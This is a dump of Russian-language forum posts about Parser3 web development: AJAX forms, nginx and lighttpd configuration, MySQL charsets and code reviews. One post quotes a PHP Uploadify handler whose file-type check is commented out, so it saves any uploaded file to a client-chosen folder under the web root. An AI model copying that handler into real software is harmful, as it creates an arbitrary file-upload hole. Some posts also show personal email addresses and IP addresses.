      <option value=\"$sub_group_table.sub_group_id\">$sub_group_table.sub_group_name</option>\
    }\
  }\
}\
</select>\
\
<select name=\"brand_selector\" id=\"brand_sel\" onchange=\"setVariable(this.form)\">\
    ^if($brand_selector_id==0){\
      <option value=\"0\" selected>Все бренды</option>\
    }{\
      <option value=\"0\">Все бренды</option>    \
    }  \
^if(def $brand_table && $brand_table>0){\
  ^brand_table.menu{\
    ^if($local_brand==$brand_table.brand_id){\
      <option value=\"$brand_table.brand_id\" selected>$brand_table.brand_name</option>\
    }{\
      <option value=\"$brand_table.brand_id\">$brand_table.brand_name</option>\
    }\
  }\
}\
</select>\
]\
\
$response:cache-control[no-cache, must-revalidate]\
$response:pragma[no-cache]\
$responce_filter_form\
[/code]\
\
Сосбтвенно проблема в том что тут:\
[code]\
$local_group($form:group_selector)\
$local_sub_group($form:sub_group_selector)\
$local_brand($form:brand_selector)\
[/code]\
не устанавливаются значение переменных... то ли я неправильно передаю, то ли они неправильно принимаются но на входе последнего куска вместо полей формы имеем [code]Request URL:http://mebel/jquery/adm/filter_selector.rp?[object%20HTMLFormElement][/code]\
Заранее спасибо всем ответившим."
"75347","Уважаемые гуру и монстры парсера есть проблема, ай нид хелп...\
Собственно ниже куски кода:\
1. Первоначальная форма:\
[code]<form action=\"#\">\
<div id=\"filter_selector_container\">\
<select name=\"group_selector\" id=\"group_sel\" onchange=\"setVariable(this.form)\">\
^if($local_group==0){\
<option value=\"0\" selected>Все группы</option>\
}{\
<option value=\"0\">Все группы</option> \
} \
^group_table.menu{\
^if($local_group==$group_table.group_id){\
<option value=\"$group_table.group_id\" selected>$group_table.group_name</option>\
}{\
<option value=\"$group_table.group_id\">$group_table.group_name</option>\
}\
}\
</select>\
\
<select name=\"sub_group_selector\" id=\"sub_group_sel\" onchange=\"setVariable(this.form)\">\
<option value=\"0\" selected>Все подгруппы</option>\
</select>\
\
<select name=\"brand_selector\" id=\"brand_sel\" onchange=\"setVariable(this.form)\">\
<option value=\"0\" selected>Все бренды</option>\
</select>\
</div>\
</form>[/code]\
2.Потом собственно кусок на яваскрипт: \
function setVariable(variable){\
$.ajax({\
url: '/jquery/adm/filter_selector.rp?'+variable,\
success: function (data, textStatus) {\
    $('#filter_selector_container').html(data);\
}\
});}\
3. И последнее, собственно тот кусок который обрабатывает форму ПРИВОЖУ УРЕЗАНЫЙ БЕЗ ЗАПРОСОВ К БАЗЕ: \
$local_group($form:group_selector)\
$local_sub_group($form:sub_group_selector)\
$local_brand($form:brand_selector)\
...\
дальше запросы которые используют переменные $local_group, $local_sub_group, $local_brand\
...\
$responce_filter_form[\
<select name=\"group_selector\" id=\"group_sel\" onchange=\"setVariable(this.form)\">\
    ^if($local_group==0){\
      <option value=\"0\" selected>Все группы</option>\
    }{\
      <option value=\"0\">Все группы</option>    \
    }  \
  ^group_table.menu{\
    ^if($local_group==$group_table.group_id){\
      <option value=\"$group_table.group_id\" selected>$group_table.group_name</option>\
    }{\
      <option value=\"$group_table.group_id\">$group_table.group_name</option>\
    }\
  }\
</select>\
\
<select name=\"sub_group_selector\" id=\"sub_group_sel\" onchange=\"setVariable(this.form)\">\
    ^if($local_sub_group==0){\
      <option value=\"0\" selected>Все подгруппы</option>\
    }{\
      <option value=\"0\">Все подгруппы</option>    \
    }  \
^if(def $sub_group_table && $sub_group_table>0){\
  ^sub_group_table.menu{\
    ^if($local_sub_group==$sub_group_table.sub_group_id){\
      <option value=\"$sub_group_table.sub_group_id\" selected>$sub_group_table.sub_group_name</option>\
    }{\
      <option value=\"$sub_group_table.sub_group_id\">$sub_group_table.sub_group_name</option>\
    }\
  }\
}\
</select>\
\
<select name=\"brand_selector\" id=\"brand_sel\" onchange=\"setVariable(this.form)\">\
    ^if($brand_selector_id==0){\
      <option value=\"0\" selected>Все бренды</option>\
    }{\
      <option value=\"0\">Все бренды</option>    \
    }  \
^if(def $brand_table && $brand_table>0){\
  ^brand_table.menu{\
    ^if($local_brand==$brand_table.brand_id){\
      <option value=\"$brand_table.brand_id\" selected>$brand_table.brand_name</option>\
    }{\
      <option value=\"$brand_table.brand_id\">$brand_table.brand_name</option>\
    }\
  }\
}\
</select>\
]\
\
$response:cache-control[no-cache, must-revalidate]\
$response:pragma[no-cache]\
$responce_filter_form\
Сосбтвенно проблема в том что тут: \
$local_group($form:group_selector)\
$local_sub_group($form:sub_group_selector)\
$local_brand($form:brand_selector)\
не устанавливаются значение переменных... то ли я неправильно передаю, то ли они неправильно принимаются но на входе последнего куска вместо полей формы имеем \
Request URL:http://mebel/jquery/adm/filter_selector.rp?[object%20HTMLFormElement]\
Заранее спасибо всем ответившим."
"75348","Это по части JS.\
\
Стоит попробовать заменить\
\
setVariable(this.form)\
\
на\
\
setVariable($(this).parents('form').serialize());"
"75350","Мне эта в свое время понравилась по jQuery:\
http://www.ozon.ru/context/detail/id/4796879/\
\
А по чистому JavaScript довольно неплохо на Google Code University рассказывают (правда, на английском, но с наглядным видео):\
http://code.google.com/edu/submissions/html-css-javascript/#javascript"
"75352","Мне было бы удобно хранить кое-какие тексты в отдельной папочке, в виде текстов :-).\
\
Однако, вторые сутки не могу найти, как подгрузить содержимое /texsts/blabla.txt в хещ или сразу в код.\
\
Подскажите, пожалуйста!\
\
Спс."
"75354","В автопэ пишу пока: ^say[] ...\
\
@say[]\
^sections.menu{^if($sections.uri eq $request:uri){$wheretext[$sections.textfile]}{}}\
^file::load[text;$wheretext]\
\
________________________________________\
\
Анхендлд эксепшн. Лог-файл говорит, что\
\
B:/home/smth/www/connect/index.html(3:2): 'MAIN' method_frame may not be overwritten with file, store it to variable instead [parser.runtime] [uri=/connect/, method=GET, cl=0]\
\
При том, что в этом index.html у меня написано лишь следующее:\
^before[]\
^within[]\
^after[]\
\
То есть, у меня вообще всё сущее изложено в автопэ.\
\
А MAINа там вообще нет.\
\
О чём это всё? До попыток засасывать текст из файла всё работало себе. :-\\"
"75356","Внедрил-таки MAIN, теперь сверху\
[code]@auto[]\
$sections[^table::load[/0tech/sections.cfg]]\
\
@main[]\
^sections.menu{^if($sections.uri eq $request:uri){$wheretext[$sections.textfile]}{}}\
$mainareatext[^file::load[text;$wheretext]][/code]\
\
, ну и в тексте... ^say[]\
\
[code]@say[]\
$mainareatext[/code]\
\
Тут ошибки нет, но и текста на странице тоже: мейн не выполняется. Уж я его и руками из index.html вызываю перед всем, что там было, - ни фига.\
\
Перемещаю запись хеша в @auto - получаю ТОТ ЖЕ Unhandled, что и прежде. Где ещё пошевелить?"
"75358","О чём он вообще?\
\
[code]@say[]\
$source_code[^sections.menu{\
^if($sections.uri eq $request:uri){$wheretext[$sections.textfile]}{\
}} \
$mainareatext[^file::load[text;$wheretext]]$mainareatext]\
$method_name[method1]\
^process{$source_code}[ \
   $.main[$method_name] \
] \
^method1[][/code]"
"75359","в конце концов разберитесь, наконец, с парой вещей:\
1. что возвращает file::load\
2. что означает выдаваемое сообщение об ошибке ([URL=/faq/errors/]FAQ[/URL] вам в помощь)\
\
P.S. со следующим подобным вопросом я грохну это тред.\
P.P.S. если бы вы прочитали полностью про process, то нашли-бы там то, что вы пытаетесь написать самостоятельно."
"75361","Ситуация решена по Вашему первому же пункту, всем спасибо.\
\
Без всякого процесса: [code]^say[]\
\
@say[]\
^sections.menu{^if($sections.uri eq $request:uri){$textpath[$sections.textfile]}{}}\
[i]$getit[/i][^file::load[text;$textpath]]\
^untaint{[i]$getit.text[/i]}[/code]\
\
И ура.\
\
Но процесс-то мне подсказали первым... он нужен?\
В моём случае есть какие-то подводные камни?"
"75362","Например. У меня любая страница смотрит на [code]$request:uri[/code] раз десять или двенадцать.\
\
Дадут ли что-нибудь заметное, помимо селф-респекта, хеширование реквестов в [code]@auto[][/code] и последующие обращения к хешу, а не к пользователю?"
"75363","process и вывод содержимого файла -- две совершенно разные вещи и мы не знаем, нужен-ли вам process (вам нужно _выполнять_ парсерный код, который кто-то может написать в этом файле?)\
\
что касается вашего окончательного кода, то menu в данном случае не нужен. вместо него лучше использовать locate (rtfm)."
"75364","т.е. такую оптимизацию раньше времени делать точно не надо."
"75368","У меня используется не только в шаблонах, мне кажется неправильным библиотеку засовывать в объект и ссылаться на нее из сотни-другой мест. По крайней мере, нигде в своей практике обратного подхода не видел."
"75369","... тем более, что в Парсере это сделать не сложно.\
\
Кроме того, ограничивается возможность наследования. Например со временем, мне нужно сделать наследника инфлектора с поддержкой русского языка, который будет доступен всем классам, которые его уже используют. Есть два варианта: делать форк или иметь возможность создавать объект, который прокидывать нужным классам. Мне кажется, что второй случай предпочтительнее."
"75370","1. в случае, если подразумевается неоднократные вызовы pluralize и singularize, мне кажется, что в хеши надо сразу класть объекты класса regex, чтобы они компилились один раз, а не по нескольку раз в циклах.\
\
2. для irregular я-бы положил строки в table, код был-бы чуть проще:\
[code]\
  ^Inflect:irregular.foreach[key;value]{\
    $pattern[$value.singular^$]\
    \
    ^if(^str.match[$pattern][i]){\
      $result[^str.match[$pattern][i]{$value.plural}]\
      $irregular(1)\
      ^break[]\
    }\
  }\
[/code]\
=>\
[code]\
  ^if(^Inflect:irregular.locate(^str.match[$Inflect:irregular.singular^$][i])){\
    $irregular(1)\
    $result[$Inflect:irregular.plural]\
  }\
[/code]\
хотя наверное лучше тоже сразу конструировать объекты класса regex.\
\
3. немного избыточный код (я его отформатировал для понятности):\
[code]\
$result[^str.match[$value.regex][$value.param]{\
	$rep[$value.replacement]\
	^if(def $match.1){\
		$m[$match.1]\
		$rep[^rep.match[\\^$1][g]{$m}]\
	}{\
		$rep[^rep.match[\\^$1][g]{}]\
	}\
	^if(def $match.2){\
		$m[$match.2]\
		$rep[^rep.match[\\^$2][g]{$m}]\
	}\
	$rep\
}]\
[/code]\
\
по моему можно чуть проще (без проверки на def $match.1. кстати \"$2\" разве не надо удалять, когда !def $match.2?):\
[code]\
$result[^str.match[$value.regex][$value.param]{\
	$rep[$value.replacement]\
	$m[$match.1]\
	$rep[^rep.match[\\^$1][g]{$m}]\
	^if(def $match.2){\
		$m[$match.2]\
		$rep[^rep.match[\\^$2][g]{$m}]\
	}\
	$rep\
}]\
[/code]\
\
4. в глаза бросилось (\"eq\" всё-таки для строк):\
[code]\
^if($count eq 1){...}\
[/code]\
\
5. в ^Inflect:uncountable.foreach при нахождении совпадения тоже можно ^break[] делать или опять-же строки положить в table и ^locate[value;$str_lower].\
\
6. что это \"([m|l])\"? может надо так \"([ml])\"?"
"75371","мне не нравится, что во многих местах происходит поиск по шаблону (с запоминанием), а затем замена с подстановкой только-что найденного.\
\
по моему лучше сделать, чтобы работало как-то так (пока опускаю детали реализации, о них позже):\
[code]\
^str.match[(?:<=hive)^$][]{s}]\
[/code]\
т.е. этот код просто подставит 's', если непосредственно перед концом строки есть шаблон \"hive\".\
при этом, как видно, не требуется ковыряться в строке-заменителе и поставлять в неё содержимое $match.1\
\
да, вижу, что в некоторых случаях действительно требуются эти ковыряния, поэтому в хэшах можно иметь пару ключей, например:\
[code]\
  $.6[\
    $.regex[(?:<=hive)^$]\
    $.param[i]\
    $.addition[s]\
  ]\
  $.7[\
    $.regex[(?:([^^f])fe|([lr])f)^$]\
    $.param[i]\
    $.replacement[^$1^$2ves]\
  ]\
[/code]\
\
а в \"мясе\" добавить проверку:\
[code]\
...\
        $result[^str.match[$value.regex][$value.param]{^if(def $value.addition){$value.addition}{то что было раньше}}]\
...\
[/code]\
\
\
P.S. а ещё внутренности основных foreach-циклов в pluralize и singularize так и просятся, чтобы их вынесли в отдельный метод (с избавлением от выполнения двух одинаковых match-ей), ведь они-же копии с точностью до символа."
"75372","\"классический\" вариант:\
[code]server {\
	listen	80;\
	server_name  parser.test;\
	root   /var/www/test/html;\
\
	location / {\
		index  index.html;\
	}\
\
	[color=\"#999999\"]# назначение обработчиком .html страниц:[/color]\
	location ~ \\.html$ {\
		[color=\"#999999\"]# отдаем парсеру только реально существующие файлы[/color]\
		try_files      $uri	=404;\
\
		fastcgi_pass   unix:/var/run/fcgiwrap.socket;\
				\
		fastcgi_param  SCRIPT_NAME  $request_uri;\
		fastcgi_param  SCRIPT_FILENAME  /var/www/test/cgi/parser3.cgi;\
		fastcgi_param  PATH_INFO    $fastcgi_script_name;\
		fastcgi_param  PATH_TRANSLATED /var/www/test/html$fastcgi_script_name;\
\
		include fastcgi_params;\
	}\
\
	[color=\"#999999\"]# запрет на доступ к .cfg и .p файлам:[/color]\
	location ~ \\.(p|cfg|dir|pag)$ {\
		deny all;\
	}\
}[/code]\
\
вариант с реврайтом на один файл-обработчик:\
[code]server {\
	listen	80;\
	server_name  parser.test;\
	\
	location / {\
		root	/var/www/test/html;\
		\
		[color=\"#999999\"]# добавляем trailing slash, на любителя[/color]\
		rewrite ^([^.]*[^/])$ $1/ permanent;\
		\
		[color=\"#999999\"]# если файл существует отдаем его, иначе перенаправляем парсеру[/color]\
		try_files	$uri	@backend;\
	}\
	\
	location @backend {\
		[color=\"#999999\"]# файл-обработчик doc.html можно хранить \"вне веб пространства\"[/color]\
		root	/var/www/test/script;\
\
		fastcgi_pass   unix:/var/run/fcgiwrap.socket;\
				\
		fastcgi_param  SCRIPT_NAME  $request_uri;\
		fastcgi_param  SCRIPT_FILENAME  /var/www/test/cgi/parser3.cgi;\
		fastcgi_param  PATH_INFO    /doc.html;\
		fastcgi_param  PATH_TRANSLATED /var/www/test/script/doc.html;\
		\
		[color=\"#999999\"]# uri приходит в скрипт параметром request[/color]\
		fastcgi_param  QUERY_STRING     request=$uri&$args;\
\
		include fastcgi_params;\
	}\
}[/code]"
"75373","Может быть кому-то пригодиться, заставил работать после 15-ти минут \"с бубном\": \
\
в lighttpd-auth.conf:\
server.modules\
                                \"mod_access\",\
                                \"mod_accesslog\",\
                                \"mod_alias\",\
                                \"mod_cgi\",\
                                \"mod_rewrite\",\
                                \"mod_setenv\",\
указать полные (!) пути:\
server.document-root        = \"D:/LightTPD/htdocs/\"\
\
cgi.assign                  = ( \
				\".p\" => \"D:\\LightTPD\\parser\\parser.bat\",\
				\".shtml\" => \"D:\\LightTPD\\parser\\parser.bat\"\
)\
\
* скопировать папку с парсером в директорию с сервером\
\
Создать parser.bat следующего содержания:\
\
@ECHO OFF\
SET PATH_TRANSLATED=%SCRIPT_FILENAME%\
SET PATH_INFO=%SCRIPT_NAME%\
SET SCRIPT_NAME=/abc\
D:\\LightTPD\\parser\\parser3.exe\
\
Всё работает!"
"75374","[code]$b[$request:post-body]\
^b.save[binary;/test.file]\
[/code]\
Если в post-body ничего нет, то имею ошибку:\
[i]'test.file' saving stat-ed file[/i]\
\
Упоминание находил - http://www.parser.ru/forum/?id=45929, но там написано, что пофиксили в 3.1.5.\
\
parser 3.4.1/win64\
\
upd. кстати, что такое \"stat-ed\"?\
upd2. в этом же случае ^b.sql-string[] ругнется:\
[i]getting value of stat-ed file[/i]"
"75377","Работал ли кто-то в этом направлении? Сейчас, если ^многоуровневый_хэш.add[другой такой же], то ключи первого уровня сложатся и перезапишутся, а вложенные хэши тупо заменятся ключами добавляемого хэша, т.е. если на первом уровне выполняется add, то на последующих - replace (а хотелось бы add на всех). \
Альтернатива - XML. В Сети есть реализация для VB, думаю, ее не сложно повторить и для Парсера, вот только включать ради одной операции тяжелый xml-билд совсем не хочется. Поэтому - работал ли кто-либо в этом направлении, используя нативные парсерные конструкции?"
"75378","Сейчас это вполне можно написать и на Парсере, т.е. рекурсивно обходить слагаемое и добавлять отсутствующие ключи в оригинальный хеш."
"75379","Да, именно это первым и приходит в голову, но вот как быть с промежуточными переменными, в которые пойдут отдельные хеши?"
"75381","Чуть позже - это когда?\
\
Доломали сборку тарбола что-ли - в чем проблема-то?"
"75383","А пока похоже придется вам перед сохранением проверять $b.size..."
"75384","Во втором варианте секция\
# запрет на доступ к .cfg и .p файлам\
тоже думаю не будет лишней.\
\
Ну и не \
# файл-обработчик doc.html можно хранить \"вне веб пространства\"\
а скорее \
# файл-обработчик doc.html нужно хранить \"вне веб пространства\"\
чтобы его не могли скачать напрямую по имени, как остальные существующие файлы."
"75386","может кому пригодится, вобщем в изначальной конфигурации не работала передача параметров в uri, я не сразу это заметил, пока не догадался нажать на специальную ссылку в тестовом файлике, получив в результате \"CGI: illegal call (1)\". Погуглив нашел ваше с Янеком обсуждение в теме про IdeaWebServer, и заодно актуальный кусок кода в исходниках[code]size_t script_name_len=strlen(script_name);\
size_t uri_len=strlen(env_request_uri);\
if(strncmp(env_request_uri, script_name, script_name_len)==0 &&\
	script_name_len != uri_len) // under IIS they are the same\
	SAPI::die(\"CGI: illegal call (1)\");\
[/code] вобщем, по этой интересной причине SCRIPT_NAME теперь равен $request_uri, а include fastcgi_params перенесен вниз, иначе не работало."
"75387","Проект разросся и требует элементарной оптимизации pаrser кода.\
Нужно в некоторых местах объединить функции в классы, оптимизировать MySQL-запросы, настроить индексы таблиц и т.д.\
\
Кто-нибудь возьмется за такую работу? И сколько такое может стоить?"
"75388","У меня недавно та же задача была. Потыкавшись, понял, что кроме автора, никто с этим лучше не справится. А уже потом - описывайте получившиеся интерфейсы и аутсорсите по ним задачи."
"75389","вряд-ли кто-нить сможет сказать, сколько это будет стоить.\
\
объединение функций в классы может быть очень простой задачей, если функции используются однотипно и не пользуются глобальными переменными, а может быть очень сложной задачей, требующей разбирательств в логике всей системы.\
\
с оптимизацией SQL запросов с моей точки зрения немного проще, но также оценить объём работ в этой области лишь по такому короткому описанию почти невозможно.\
\
самое простое, на мой взгляд -- добавление необходимых индексов. но и тут есть одно очень важное неизвестное -- общее количество запросов. как может кто-либо приблизительно сказать стоимость работ, если он не представляет, сколько запросов ему надо будет исследовать - 5 или 100?\
\
если вы планируете и дальше заниматься веб-разработкой, то начать оптимизацию лучше всего самостоятельно. у вас появится очень часто требуемый в веб-разработке опыт по поиску узких мест и найдя их вы в последующих проектах сами будете их избегать ещё на этапе разработки.\
\
по расстановке индексом могу дать рекомендацию:\
- подключите один из SQL-ных классов и создайте глобальный объект $oSQL в /auto.p\
- сделайте глобальные замены ^table::sql на ^MAIN:oSQL.table (аналогично для hash::sql, void:sql итд)\
- включите запись информации о запросах в лог\
- через некоторое время работы сайта вы увидите в логе \"плохие\" запросы о временем их работы, объёмом доставаймых ими данных и с результатами их explain-а. с них и начните оптимизацию."
"75391","Помогите с поиском подстроки, пожалуйста.\
Нужно из строки типа <img src=\"some_url_of_photo\"/>\
вытащить адрес картинки, т.е то что в кавычках."
"75392","Множество вариантов регэкспов описаны на этой странице: [url=\"http://regexlib.com/Search.aspx?k=img\"]http://regexlib.com/Search.aspx?k=img[/url]\
Но не факт, что в вашем случае нужны именно регэкспы. Все зависит от источника кода. Может быть чистки через replace будет достаточно.\
А вообще придумалось такое чудо-юдо:\
[code]\
$str[<img src=\"some_url_of_photo\"/>]\
$str_parts[^str.split[\";h]]\
$str_parts.1 ^rem{ вернет: some_url_of_photo }\
[/code]"
"75393","А когда появится title или alt  у картинки, или еще какой аттрибут - надо будет вспомнить про сей велик и переделать?\
\
а надо всего то типа такой строки - <img.+?src=['\"][^^'\"]+['\"][^^>]*>"
"75395","Требуется программист на Parser для разработки модулей сайта. www.nahalyavu.com Необходимо разработать новые опции, например, Календарь Событий, Аукцион и прочие блоки. \
\
Требования:\
опыт работы от 3 лет\
Знание технологий и библиотек:\
Parser3, MySql, AJAX, JQuery\
\
Оплата договорная.\
\
Присылайте свое портфолио с исходниками на адрес: alexrosl@hotmail.com.\
\
Благодарю!"
"75397","1. для внутренних редиректов в nginx существует свой собственный хитрый механизм, и конструкции типа [code]$response:location[/login.html][/code] будут производить внешний редирект с выдачей заголовка в браузер, чтобы все работало как раньше их придется заменить на [code]$response:x-accel-redirect[/login.html][/code]\
\
2. вложенные локейшены - слабо документированый, но вполне рабочий способ прикрутить к сайту basic auth параллельно с обработчиком .html.\
\
Выглядеть может примерно так: [code]location / {\
	auth_basic		\"Authorization Required\";\
	auth_basic_user_file	/var/www/test/.htpasswd;\
\
	[color=\"#999999\"]# назначение обработчиком .html страниц:[/color]\
	location ~ \\.html$ {\
		[color=\"#999999\"]. . .[/color]\
	}\
	[color=\"#999999\"]. . .[/color]\
}\
[/code]\
\
to be continued..."
"75399","Если не определена SetEnv CGI_PARSER_LOG\
то искать рядом с бинарником\
[url=\"http://packages.debian.org/ru/sid/i386/parser3-cgi/filelist\"]файлы пакета[/url]"
"75400","Спасибо большое =)"
"75401","Ок, спасибо за наводку, буду определять переменную. Т.к. рядом с бинарником что-то не видно :)"
"75402","Нашел простой удобный загрузчкик (http://www.uploadify.com) файлов на сервер (правда с использованием флеш, но всё же). Там есть два обработчика на пхп. Помогите интерпретировать в парсер, может кому и пригодится в дальнейшем. Два обработчика: check.php и uploadify.php\
\
check.php\
[code]\
$fileArray = array();\
foreach ($_POST as $key => $value) {\
	if ($key != 'folder') {\
		if (file_exists($_SERVER['DOCUMENT_ROOT'] . $_POST['folder'] . '/' . $value)) {\
			$fileArray[$key] = $value;\
		}\
	}\
}\
echo json_encode($fileArray);\
[/code]\
\
uploadify.php\
[code]\
<?php\
\
if (!empty($_FILES)) {\
	$tempFile = $_FILES['Filedata']['tmp_name'];\
	$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';\
	$targetFile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];\
	\
	// $fileTypes  = str_replace('*.','',$_REQUEST['fileext']);\
	// $fileTypes  = str_replace(';','|',$fileTypes);\
	// $typesArray = split('\\|',$fileTypes);\
	// $fileParts  = pathinfo($_FILES['Filedata']['name']);\
	\
	// if (in_array($fileParts['extension'],$typesArray)) {\
		// Uncomment the following line if you want to make the directory if it doesn't exist\
		// mkdir(str_replace('//','/',$targetPath), 0755, true);\
		\
		move_uploaded_file($tempFile,$targetFile);\
		echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);\
	// } else {\
	// 	echo 'Invalid file type.';\
	// }\
}\
?>\
[/code]"
"75403","А зачем переписывать?\
Попробуйте просто заменить эти php файлы на свои [i]parserUpload.html[/i] и посмотрите в них, что приходит в post запросе. Соответственно поменяйте пути в конфиге uploadify. \
\
Проделал такое с аналогичным аплоадером SWFupload"
"75404","Сабж правда или всё враки? А он на Parser3?"
"75405","Нет случаем там планов на счет поддержки метода PUT и других?\
http://www.parser.ru/forum/?id=74591"
"75406","Есть ли обновленная версия этого класса?\
\
Всякие last_insert_id говорят о том, что с новыми Sql-классами данный метод не тестировали."
"75408","можно поправить вызовы методов класса SQL в нескольких местах или воспользоваться классами *SQLComp"
"75410","Если в методе @conf[] использовать $form:var, то в пост тоже не чего не приходит\
[code]$devoloperIp[^table::create{ip	label\
193.188.254.21	home\
212.86.229.6	office\
}\
]\
\
^if(^devoloperIp.locate[ip;$env:REMOTE_ADDR] || ($form:isDev && $form:isDev eq 1)){\
	$devIp(true)\
}{\
	$devIp(false)\
}[/code]\
Заметили пользователи, у которых перестал работать поиск), хорошо что помнил последние изменения."
"75411","А как это сделать? Я не очень шарю в этом. Мозиллой файрбаг чтоли? Или средствами парсера?"
"75413","у @conf[] другое предназначение.\
\
в момент его выполнения ещё не сконфигурированы некоторые парсерные классы (включая form, т.к. в этот момент, например, переменная MAX_POST_SIZE ещё не определена)."
"75414","Иначе на выходе пустой $form получается и ошибок нет. Фаербаг показывает все хорошо пост ушел), а на деле пусто."
"75415","Требуется программист на проектную работу\
Обязанности:\
\
    развитие сайта (работа над написанием новых и доработкой/ модификацией готовых модулей и классов системы);\
    по требованию - обновление ПО, исправление выявленных ошибок.\
\
Требования:\
\
    Parser3\
    xHTML;\
    CSS;\
    JavaScript;\
    Flash;\
    XML/XSL;\
    PHP;\
    MySQL.\
\
Условия:\
    удаленная работа;\
    почасовая оплата.\
\
Все подробности через email boriskru@mail.ru"
"75416","[code]<form method=\"post\">\
	<p><input type=checkbox name=color value=\"1\">Красный</p> \
	<p><input type=checkbox name=color value=\"2\">Синий</p> \
	<p><input type=checkbox name=color value=\"3\">Зелёный</p> \
	<p><input type=submit value=\"OK\"></p> \
</form>\
^if(def $form:tables.color){\
	^CSQL.void{insert into multi (multi) values('^form:tables.color.menu{$form:tables.color.field}[,]')}\
}[/code]\
\
а как быть при update?\
\
[code]^if(def $form:tables.color){\
	^CSQL.void{update multi set multi='^form:tables.color.menu{$form:tables.color.field}[,]'}\
}[/code]\
\
выдает ошибку [i]'menu' undefined method[/i]\
\
Подскажите пожалуйста"
"75417","[code]\
INSERT INTO test (id,val1,val2) VALUES (1,1,1),(2,2,3),(3,9,3),(4,10,12),(5,10,12),(6,10,12),(7,5,12),(8,10,12)\
ON DUPLICATE KEY UPDATE val1=VALUES(val1),val2=VALUES(val2);\
[/code]\
где id уникальный ключ."
"75418","Сколько лет уже не встречал, что даже забыл что с этим делать и куда копать. Windows XP SP3, Apache 2.2 http://rt.larrikin.homeip.net/_test.html\
\
Что куда вдруг перестало было ложено?"
"75419","может где-то в системе кривые/старые остались после сноса DenWer\
\
[code]	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
[/code]"
"75420","в строке подключения ?charset=cp1251] даёт\
\
SQL преобразование строки с русским алфавитом к верхнему регистру:\
Преобразование было произведено не корректно. \
Результат: '?????????????????????????????????' (должно быть: 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ').\
\
в строке подключения ?] даёт\
Результат: 'АБВГДЕёЖЗИЙКЛМНОПРСТУФХЦчШЩЪЫЬЭЮя' (должно быть: 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ').\
\
что-то надо настроить в my.ini?\
\
Version: '5.5.14'  socket: ''  port: 3306  MySQL Community Server (GPL)"
"75422","- $request:charset = ?\
- кодировка файликов = ?\
- кодировка БД (указываете, когда создаёте БД. ели не указываете в момент создания БД, берутся та, что указали при установке MySQL) = ?\
\
P.S. в примерах есть статья про кодировки MySQL. читали?"
"75424","изменил строку подключения на ?charset=cp1251] и свойство таблицы в базе на utf8_general_ci\
\
Работа с SQL\
\
 Выполнение простого SQL запроса ^int:sql{SELECT 2+2}:\
 4 \
\
 SQL преобразование строки с русским алфавитом к верхнему регистру:\
 Преобразование регистра было произведено корректно. \
\
 Проверка значений переменных SQL сервера CHARACTER_SET/CHARACTER_SET_CLIENT:\
 Значение переменой CHARACTER_SET_CLIENT совпадает со значением $request:charset, следовательно в настоящий момент кодировки настроены верно."
"75425","Всем привет! Обновил версию Парсера до 3.4.1, получил ошибку вида:\
\
[quote]unable to convert empty string without default specified\
\
int[/quote]\
\
Ошибка появилась на следующей строке кода:\
[code]\
^if(^param.id.int[] || def $param.login){\
[/code]\
\
Как говорится в документации, по методу .int[]\
[quote]Внимание: пустая строка и строка состоящая только из \"white spaces\" (символы пробела, табуляция, перевода строки) считается нулем или false. [/quote]\
\
То есть ожидаемое поведение - получить в этом месте 0, что есть false и дальше проверять def $param.login, а не выаливаться с ошибкой.\
\
Использую прекомпиленные бинари под 32 разрядный Linux (parser3_4_1_debian6_cgi.tar.gz)\
\
Является ли поведение .int[] в 3.4.1 ошибочным или это вопрос обновления документации и значение по умолчанию теперь должно быть укзано всегда?"
"75426","[quote]- подключите один из SQL-ных классов и создайте глобальный объект $oSQL в /auto.p\
- сделайте глобальные замены ^table::sql на ^MAIN:oSQL.table (аналогично для hash::sql, void:sql итд)\
- включите запись информации о запросах в лог[/quote]\
\
Если б конь имел меня... (с.) MySQL Proxy + Lua, если речь идет про мускль базу. Я по постгре не специализируюсь, но там тоже есть аналогичное решение. Если не знаете Lua (то вы не играли в WOW), там есть много готовых сниппетов."
"75427","увы, я поправил описание только тут:\
http://www.parser.ru/docs/lang/stringintdouble.htm\
а тут не поправил:\
http://www.parser.ru/docs/lang/intdoublefield.htm\
\
в вашем случае, кажется, надо .int[] исправить на .int(0)"
"75429","Просмотрел документацию, но слету не нашел, можно ли каким-то образом переопределить string.int, чтобы не менять устоявшуюся конструкцию по всему коду сайта? \
\
С учетом отмены наследования от системных классов в 3.4.0 самый простой и очевижный способ уже не подходит."
"75432","но вообще мне не очень понятно, зачем вы вообще писали ^param.id.int[], ибо в выражении это совершенно то-же самое, что и $param.id (только меньше на 1 внутренний call)\
\
P.S. global search? например, Notepad++ умеет найти что-то в куче файлов. понятно, что принимать решение о правильности замены надо будет в каждом случае отдельно."
"75436","Ребята, привет. Вот расскажите, если знаете.\
\
Один хостинг. На нём два аккаунта. Один и тот же тариф. Одна и та же ось. Linux 32 бита. На первом лежит Parser 3.4.1 и на нём есть пара сайтов - всё отлично.\
\
Копирую на второй в бинарном режиме, ставлю права, обращаюсь через браузер — Premature end of headers. Причём, запускается из коммандной строки без ошибок.\
\
Пробовал не только копировать файл с первого аккаунта, но и просто с сайта разные версии под Linux. Эффект тот же."
"75437","Скорее всего залили в режиме TEXT вместо BINARY в файловом менеджере. :)"
"75440","Возможно насчет \"командной строки\" - \"хотелось бы верить. что\" :)\
\
По отсутствию либ - маловероятно с запуском из консоли опять же (да и под другим аккаунтом же пускается?)\
\
Еще можно проверить права на файл - возможно, веб-серверу не доступен бит исполнения."
"75441","Я просто не понимаю, как такое может быть на фактически одной системе.\
\
Вот uname -a с обоих.\
\
[code]\
Linux 2.6.18-194.32.1.el5PAE #1 SMP Wed Jan 5 18:43:13 EST 2011 i686 i686 i386 GNU/Linux\
Linux 2.6.18-194.17.1.el5PAE #1 SMP Wed Sep 29 13:31:51 EDT 2010 i686 i686 i386 GNU/Linux\
[/code]\
\
Хотя, ядра немного отличаются, но я слабо верю, что это влияет."
"75442","Пробовал несколько раз разные пакеты ставить - апач не запускается. \
